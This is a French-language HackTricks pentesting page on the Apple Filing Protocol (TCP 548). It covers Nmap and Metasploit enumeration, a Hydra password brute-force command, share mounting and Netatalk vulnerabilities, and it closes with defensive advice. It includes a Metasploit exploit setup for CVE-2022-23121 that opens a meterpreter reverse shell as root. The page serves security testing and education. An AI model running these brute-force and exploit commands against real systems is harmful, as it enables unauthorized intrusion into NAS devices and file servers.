548 - Pentesting Apple Filing Protocol (AFP)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Le Apple Filing Protocol (AFP), anciennement appelé AppleTalk Filing Protocol, est un protocole réseau spécialisé inclus dans Apple File Service (AFS). Il est conçu pour fournir des services de fichiers pour macOS et le classique Mac OS. AFP se distingue par la prise en charge des noms de fichiers Unicode, des permissions de type POSIX et ACL, des resource forks, des attributs étendus nommés et des mécanismes sophistiqués de verrouillage de fichiers.
Bien qu’AFP ait été supplanté par SMB dans les versions modernes de macOS (SMB est le choix par défaut depuis OS X 10.9), il est encore rencontré dans :
- environnements macOS / Mac OS 9 hérités
- appareils NAS (QNAP, Synology, Western Digital, TrueNAS…) qui embarquent le daemon open-source Netatalk
- réseaux mixtes où Time-Machine-over-AFP est encore activé
Port TCP par défaut : 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumération
Bannière rapide / informations du serveur
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Useful AFP NSE scripts:
| Script | Ce que fait |
|---|---|
| afp-ls | Lister les volumes AFP disponibles et les fichiers |
| afp-brute | Brute-force de mots de passe contre l’authentification AFP |
| afp-serverinfo | Extraire le nom du serveur, le type de machine, la version AFP, les UAMs supportés, etc. |
| afp-showmount | Lister les partages ainsi que leurs ACLs |
| afp-path-vuln | Détecte (et peut exploiter) directory-traversal, CVE-2010-0533 |
Le script NSE de brute-force peut être combiné avec Hydra/Medusa si un contrôle plus fin est nécessaire:
hydra -L users.txt -P passwords.txt afp://<IP>
Si vous avez déjà des identifiants, les scripts AFP de Nmap deviennent beaucoup plus utiles parce que afp-serverinfo leaks les UAMs (auth methods), tandis que afp-showmount et afp-ls peuvent énumérer les partages accessibles, les ACLs et les fichiers intéressants:
nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
À surveiller :
- Machine Type: Netatalk dans la sortie de
afp-serverinfo, ce qui signifie généralement un hôte NAS/Unix plutôt que l’implémentation AFP d’Apple. - UAMs comme
DHX,DHX2,CleartxtouGuest, car elles indiquent directement les chemins de connexion accessibles et si l’authentification héritée/faible est activée. - Share ACLs provenant de
afp-showmount; les partages lisibles par tous (world-readable) ou de type drop-box exposent souvent des sauvegardes, des fichiers.applet des métadonnées utilisateur avant même que vous ne montiez le volume.
Interagir avec les partages
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (utilisant afpfs-ng ‑ fourni dans la plupart des distributions)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Une fois monté, souvenez-vous que les resource-forks classiques Mac sont stockés en tant que fichiers AppleDouble cachés ._* – ceux-ci contiennent souvent des métadonnées intéressantes que les outils DFIR ne détectent pas.
Sur les cibles Netatalk, ce backend de métadonnées influe aussi sur l’exploitabilité :
ea = adsignifie que les métadonnées sont stockées dans des fichiers AppleDouble v2 / des répertoires.AppleDouble.ea = sysouea = sambastocke les métadonnées dans les attributs étendus du système de fichiers.- Dans Netatalk 4.2+ l’ancienne option
appledoublea été supprimée et le backend est désormais contrôlé uniquement via l’optionea.
D’un point de vue offensif, cela vous permet de déterminer rapidement si les bugs orientés AppleDouble sont plus susceptibles d’être atteignables sur le serveur.
Vulnérabilités courantes et exploitation
Chaîne RCE Netatalk non authentifiée (2022)
Plusieurs fournisseurs de NAS ont livré Netatalk ≤3.1.12. Un manque de vérification des limites dans parse_entries() permet à un attaquant de préparer un en-tête AppleDouble malveillant et d’obtenir un remote root avant authentification (CVSS 9.8 – CVE-2022-23121). Un rapport complet par NCC Group avec un PoC exploitant le Western-Digital PR4100 est disponible.
Metasploit (>= 6.3) inclut le module exploit/linux/netatalk/parse_entries qui délivre le payload via DSI WRITE.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
Si la cible exécute un firmware QNAP/Synology affecté, une exploitation réussie donne un shell en tant que root.
Netatalk OpenSession heap overflow (2018)
Les anciennes versions de Netatalk (3.0.0 - 3.1.11) sont vulnérables à un out-of-bounds write dans le handler DSI OpenSession permettant une exécution de code sans authentification (CVE-2018-1160). Une analyse détaillée et un PoC ont été publiés par Tenable Research.
Newer Netatalk attack surface (2022-2024)
Les récents avis Netatalk montrent que l’attack surface n’est plus limitée à parse_entries() et au traitement OpenSession :
- CVE-2022-45188: un fichier
.applspécialement conçu peut déclencher un heap overflow dansafp_getappl; cela est particulièrement pertinent si vous pouvez write files into a share et que le serveur exécute les fonctionnalités FCE / notify. - CVE-2023-42464: un bug de type confusion dans les handlers Spotlight RPC peut devenir atteignable lorsque
spotlight = yesest activé dansafp.conf(désactivé par défaut). - CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: écritures hors-limites d’un octet dans le heap sur des chemins liés au login corrigées dans Netatalk 2.4.1 / 3.1.19 / 3.2.1. Ces bugs sont intéressants car l’exploitabilité dépend des UAMs configurés :
uams_clrtxt.so+ PAM-backed ClearTxt login expose le cheminFPLoginExtpertinent pour CVE-2024-38439.uams_dhx.so+ PAM-backed DHX login atteint le chemin vulnérable pour CVE-2024-38440.uams_guest.somaintient le chemin de login Guest accessible pour CVE-2024-38441.
Cela signifie que la sortie de afp-serverinfo n’est pas juste des données d’empreinte ; elle vous aide à décider quel login parser est exposé avant de passer du temps sur le développement d’exploit ou le triage du firmware NAS.
Other notable issues
- CVE-2022-22995 – redirection via symlink conduisant à une écriture arbitraire de fichier / RCE lorsque AppleDouble v2 est activé (3.1.0 - 3.1.17).
- CVE-2010-0533 – traversal de répertoire dans Apple Mac OS X 10.6 AFP (détecté par
afp-path-vuln.nse). - Plusieurs bugs de sécurité mémoire ont de nouveau été corrigés lors des releases 2024 Netatalk ; si vous identifiez
Netatalkdansafp-serverinfo, prenez une minute pour corréler les UAMs exposés / Spotlight / backend de métadonnées avec la version du serveur avant de supposer que seuls les bugs 2018/2022 importent.
Recommandations défensives
- Désactiver AFP sauf si strictement nécessaire – utiliser SMB3 ou NFS à la place.
- Si AFP doit rester, mettre à jour Netatalk vers ≥ 3.1.18 ou 4.x, ou appliquer le firmware vendor qui back-porte les correctifs 2022/2023/2024.
- Appliquer des UAMs fortes (p.ex. DHX2), désactiver clear-text et guest logins.
- Restreindre TCP 548 aux sous-réseaux de confiance et encapsuler AFP dans un VPN lorsqu’il est exposé à distance.
- Scanner périodiquement avec
nmap -p 548 --script afp-*dans les pipelines CI/CD pour détecter des appliances rogue / downgraded.
Brute-Force
Références
- Netatalk Security Advisory CVE-2022-23121 – “Exécution de code arbitraire dans parse_entries” https://netatalk.io/security/CVE-2022-23121
- Tenable Research – “Exploiting an 18-Year-Old Bug (CVE-2018-1160)” https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
- Netatalk Security Advisories index https://netatalk.io/security.html
- Netatalk 4.2.0 Release Notes https://netatalk.io/4.2/ReleaseNotes4.2.0
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


